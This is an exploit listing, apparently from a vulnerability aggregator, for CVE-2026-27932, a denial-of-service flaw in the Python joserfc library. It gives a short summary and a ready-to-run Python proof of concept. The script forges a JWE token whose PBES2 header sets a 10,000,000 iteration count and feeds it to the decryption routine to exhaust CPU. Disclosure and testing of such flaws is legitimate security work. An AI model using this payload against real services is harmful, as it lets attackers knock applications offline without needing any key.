| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| CVE-2026-27932 | 3 Mar 202622:48 | – | attackerkb | |
| CVE-2026-27932 vulnerabilities | 11 Mar 202601:17 | – | cgr | |
| CVE-2026-27932 | 28 Feb 202607:48 | – | circl | |
| joserfc 安全漏洞 | 3 Mar 202600:00 | – | cnnvd | |
| CVE-2026-27932 | 3 Mar 202622:48 | – | cve | |
| CVE-2026-27932 joserfc PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS) | 3 Mar 202622:48 | – | cvelist | |
| CVE-2026-27932 | 3 Mar 202622:48 | – | debiancve | |
| EUVD-2026-9344 | 3 Mar 202622:48 | – | euvd | |
| joserfc's PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS) | 2 Mar 202618:47 | – | github | |
| CVE-2026-27932 | 3 Mar 202623:15 | – | nvd |
=============================================================================================================================================
| # Title : joserfc JWE PBES2 1.6.2 Iteration Count CPU Exhaustion Denial of Service |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pypi.org/project/joserfc/ |
=============================================================================================================================================
[+] Summary : A denial‑of‑service condition can occur in applications using the joserfc library when processing malicious JSON Web Encryption tokens that use the PBES2-HS256+A128KW algorithm CVE-2026-27932 .
The JWE header allows the attacker to define the PBKDF2 iteration count (p2c). If an application blindly processes the token without validating this value, an attacker can supply an extremely large iteration count (e.g., 10,000,000). During decryption, the server attempts to derive the key using PBKDF2 with the attacker‑controlled iteration count.
This results in excessive CPU consumption while the library performs the expensive key‑derivation operation, potentially causing CPU exhaustion and service degradation or denial of service.
An attacker does not need to know the correct encryption key. The resource‑intensive key derivation step occurs before the decryption failure, allowing the attacker to repeatedly trigger heavy computation with specially crafted JWE tokens.
Applications using this library should validate or cap the p2c iteration count or restrict the use of PBES2 algorithms to prevent attacker‑controlled computational workload.
[+] POC :
import time
import base64
import json
from joserfc import jwe
from joserfc.jwk import OctKey
header = {
"alg": "PBES2-HS256+A128KW",
"enc": "A128CBC-HS256",
"p2s": "Z29uZXJmYw",
"p2c": 10000000
}
header_json = json.dumps(header).encode('utf-8')
header_b64 = base64.urlsafe_b64encode(header_json).decode('utf-8').rstrip('=')
malicious_token = f"{header_b64}.dummy.dummy.dummy.dummy"
key = OctKey.import_key(b"any-password")
print(f"[*] Sending malicious token with p2c={header['p2c']}...")
print("[*] This will cause high CPU usage on the processing thread.")
start_time = time.perf_counter()
try:
jwe.decrypt_compact(
malicious_token,
key,
algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"]
)
except Exception as e:
print(f"[-] Process finished with error: {e}")
end_time = time.perf_counter()
print(f"[!] Total time wasted: {end_time - start_time:.2f} seconds")
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation